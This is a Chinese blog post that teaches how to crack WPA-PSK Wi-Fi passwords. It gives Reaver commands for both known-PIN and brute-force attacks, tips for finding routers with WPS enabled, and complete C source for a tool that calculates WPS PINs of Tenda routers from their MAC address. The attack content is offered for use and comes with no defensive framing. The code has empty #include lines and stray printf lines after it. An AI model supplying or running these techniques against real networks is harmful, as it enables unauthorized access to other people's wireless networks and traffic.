2012年10月3日 星期三

用Reaver加PIN碼秒殺WPA-PSK密碼


 之前掌握到的破解WPA-PSK密码仅限于使用aircreack工具包获取handshake后挂字典爆破方式,而能否破解出wpa密码完全依赖于字典强度了。除了该方式外还有一个更有效的办法,就是使用路由PIN码然后使用BT5下自带的Reaver工具秒破WPA-PSK密码!
在已知PIN码的情况下可以在BT5下使用 reaver -i mon0 -b AP‘s Mac -p pin 直接秒破!
现在比较难的就是怎么得到PIN的问题了,经常关注无线这方面的朋友应该知道现在腾达和磊科产品有保PIN算法漏洞,如果路由MAC地址是以“C83A35”或“00B00C”打头那么可以直接计算出PIN值,然后使用PIN值直接连接或者继续使用PIN值加reaver破解出wpa-psk。
除此之外,根据PIN特点同样也可以使用Reaver来穷举,pin码是一个8位数前四位是随机生成的而后4位是3个数字加1个checksum大大降低了穷举所需要的时间。
在BT5下可以使用 reaver -i mon0 -b AP's Mac -vv 来破解,这个过程可能需要花很多个小时,在网上有看到是3-10个小时,具体的我还未验证。reaver在此过程中还会保存进度(/usr/local/etc/reaver/AP’s MAC.wpc)到文件。
不过使用PIN方法破解WPA-PSK密码有一个限制,就是AP必须开启了QSS、WPS功能!我们可以在扫描AP的时候判断目标AP是否开启了QSS、WPS功能,如下图使用airodump-ng扫描时候在MB栏中后面有个“.”的就是。
或者在win7下面,连接AP时候在密码输入框下面有“通过按路由器按钮也可以连接”字样也是开启了QSS、wps的。

“C83A35”或“00B00C”打头路由PIN计算工具源码,大家可以自己编译:
//Computes PIN code starts with OUI "C83A35" and "00B00C"
//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
//Coded by Zhaochunsheng - iBeini.com
//Modified by Lingxi - WiFiBETA.COM


#include
#include
#include

int main()
{

    unsigned int wps_pin_checksum(unsigned int pin);
    int PIN = 0;

 //   printf("ComputePIN-C83A35\n");
    printf("Description:\n");
    printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");
    printf("type the other six digits, you might be able to get the \n");
    printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
    printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
    printf("Modified by Lingxi - WiFiBETA.COM\n\n");
//Translated to Chinese
 printf("说明:\n");
 printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");
 printf("输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!\n");
 printf("祝你好运!\n\n");
 printf("由赵春生编写于2012年4月7日  Http://iBeini.com\n");
 printf("由灵曦修改并汉化  WiFiBETA.COM\n\n");
    printf("请输入后六位MAC地址(HEX):\n");
    printf("Input the last 6 digits of MAC Address(HEX):");
    scanf("%x",&PIN);  
    printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
 
    return 0;
}
 
unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
 
    return (10 - accum % 10) % 10;
}


  printf("您输入的后六位MAC地址是 %X\n",PIN);
  printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);


OUI search

EX: http://standards.ieee.org/cgi-bin/ouisearch?14-d6-4d

How to use simple speedtest in RaspberryPi CLI

  pi@ChunchaiRPI2:/tmp $  wget -O speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py --2023-06-26 10:4...